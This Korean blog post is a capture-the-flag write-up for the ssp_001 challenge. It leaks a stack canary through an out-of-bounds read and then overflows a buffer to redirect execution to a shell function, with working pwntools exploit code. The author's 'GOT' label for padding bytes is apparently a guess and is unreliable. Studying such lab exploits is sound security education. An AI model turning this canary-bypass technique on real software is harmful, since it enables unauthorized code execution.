ssp_001

곽무경·2022년 7월 2일

System Hacking Quiz

목록 보기
11/21

문제 c 파일

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

get_shell 함수가 보인다. 저걸 이용해서 셸을 획득해야 한다.

main 함수

main함수에는 지역변수 box, name, select, idx, name_len이 있고
while 루프가 있다.
F를 입력하면 box를 입력하고, P를 입력하면 box의 내용을 볼 수 있고 (오버플로우 발생 가능),
E를 입력하면 name의 size와 내용을 입력받는다. (오버플로우 발생 가능)

get_shell 함수의 주소

일단 get_shell함수의 주소부터 알아보면,

0x80486b9 이다. 나중에 반환 주소를 이 주소로 바꿔야 하니 알아둬야 한다.

스택의 구성

다음은 main 함수의 스택이 어떻게 구성되는지 알아야 한다.
지역변수가 5개 있기 때문에, 그 5개의 지역변수들이 스택에 쌓일 것이다.

  1. 스택의 크기가 0x94 이다. (esp - 0x94를 통해 스택 프레임 확장)

  2. main+19에서 gs:[0x14]eax에 대입하고, 그 eaxebp-8에 대입하는데,
    형태로 보아 카나리 값으로 추정된다. 이는 함수의 끝부분에 가보면 알 수 있다.

  3. main+48의 rep stosd
    rep → ecx값 만큼 명령을 반복 (여기서는 0x10(16))
    stosd -> eax에 담긴 값을 edi에 복사한다 (여기서는 ebp-0x88 지점)
    이를 총 4번 반복한다. (unsigned char box[0x40])

  4. 3번을 한번 더 반복한다. (char name[0x40])

  5. main+67에서는 ebp-0x8a 주소에 2바이트가 할당된다. (char select[2])

  6. main+76에서는 ebp-0x94 주소에 4바이트가 할당된다. (int idx)

  7. main+86에서는 ebp-0x90 주소에 4바이트가 할당된다. (int name_len)

    대충 그려보면 이렇다.
    카나리가 ebp-0x8 지점부터 4바이트를 차지하므로, canary 아래에 정체불명의 4바이트 데이터가 존재한다.


    시작부터 들어있었는데, 검색해보니 GOT 라고 한다. 아직은 뭔지 잘 모르겠다.

main 함수의 while 루프에서 E를 입력하면 name을 입력할 수 있는데,
본래 name 사이즈의 크기(0x40)보다 더 크게 입력할 수 있다. (오버플로우)
name부터 해서 저 멀리에 있는 반환주소까지 우리가 원하는 데이터를 입력할 수 있다.
따라서 아무 데이터(0x80)+canary(0x4)+아무 데이터(0x8)+get_shell 주소(0x4)
를 name에 입력해주면 된다.

카나리 파악하기


함수 마지막 부분에서 ebp-8 에서 4바이트 데이터를 가져오고,
gs:[0x14]와 비교하는 것을 볼 수 있다. 따라서 ebp-8은 카나리가 확실해졌다.

while 루프에서 P를 입력하면 box의 내용을 볼 수 있는데
idx를 box 범위(0x40)보다 크게 입력하면 box 너머까지도 볼 수 있다.
이를 이용해 카나리 값을 구한다.

box를 0~63 이라고 하면 name은 64~127이고 canary는 128~131이다.

따라서 pwntool을 이용하여, P와 131~128까지를 전송하여 카나리 값을 가져온다.

canary=b''
for i in range(131, 127, -1):
	p.sendlineafter(b"> ", b'P')                      # P 전송
    p.sendlineafter(b" : ", bytes(str(i), "utf-8"))   # 인덱스 번호 전송
    p.recvuntil(b" : ")
    canary+=p.recvn(2)                                # 카나리 2자리씩 가져오기
canary=int(canary, 16)                                # 16진수 정수로 저장

payload 구성

이제 canary를 알았으니 payload를 구성해 보자.

payload=b'N'*0x40                     # name[0x40]
payload+=p32(canary)                  # canary[0x4]
payload+=b'G'*0x4                     # GOT[0x4]
payload+=b'S'*0x4                     # SFP[0x4]
payload+=b'\xb9\x86\x04\x08'          # 반환 주소 → get_shell() [0x4]

총 길이는 0x50 (80) 이다.

payload 전송 및 flag 확인

만든 payload를 전송하고 결과를 확인한다.

p.sendlineafter(b"> ", b'E')               # E 전송
p.sendlineafter(b" : ", b"80")             # 크기 80 전송
p.sendlineafter(b" : ", payload)           # payload 전송
p.interactive()                            # 셸 획득 후 상호작용

0개의 댓글